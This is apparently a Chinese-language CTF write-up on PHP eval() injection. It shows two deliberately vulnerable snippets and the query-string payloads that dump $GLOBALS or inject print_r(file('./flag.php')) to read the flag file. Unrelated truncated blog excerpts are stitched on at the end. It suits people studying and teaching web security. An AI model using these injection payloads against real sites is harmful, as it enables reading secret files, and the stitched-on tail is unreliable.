preg_match(』/^\w*$/』,$a ),對$a的值進行匹配,如果是特殊字元返回error,反之進入eval.
var_dump(),結構化的列印變數值.
eval(),字串按照 php **來計算.
<?php
include "flag.php";
$a = @$_request['hello'];
if(!preg_match('/^\w*$/',$a ))
eval("var_dump($$a);");
show_source(__file__);
?>
flag就在某六位變數中。
構造:/?hello=globals —> $$a=$globals,列印全域性變數。
<?php
include "flag.php";
$a = @$_request['hello'];
eval( "var_dump($a);");
show_source(__file__);
題幹已知:flag不在變數中。
構造:/?hello=); print_r(file("./flag.php")
—>eval(「var_dump($a);」);
—>eval(「var_dump(); print_r(file(」./flag.php"));");=eval(「print_r(file(」./flag.php"));");
即:列印*(./flag.php)
或:構造:/?hello=);print_r(file("./flag.php"));//
—>eval(「var_dump($a);」);
—>eval(「var_dump();print_r(file(」./flag.php"));//);");=eval(「print_r(file(」./flag.php"));");
php函式 eval用法
參考 注意事項 1用法 eval phpcode 2.phpcode為字串型別,每行 需要帶結束符 否則會提示error end 的錯誤3.注意 轉義 在使用 用 符號時,注意用 代替 t需要寫為 t 示例1 在文字框中輸入 並執行 code isset get code get code null...
版本對比函式PHP
先來個從字串中抽出數字的函式 必寫 public function getversonarr str else if in array str i temp1 return new str 然後是正文,比較版本,我還預想的了中文,被我注釋掉了,因為中文字元不算乙個string,以後有實際需求再優化 ...
模組 eval函式
模組 1.模組是python程式架構的乙個核心概念 在匯入模組時,每個匯入應該獨佔一行 import 模組1 import 模組12 在匯入模組後,我們通過 模組名.的方式,使用模組提供的工具 2.使用as指定模組的別名 如果模組的名字太長,可以使用as指定模組的名稱,以方便在 中使用 語法 imp...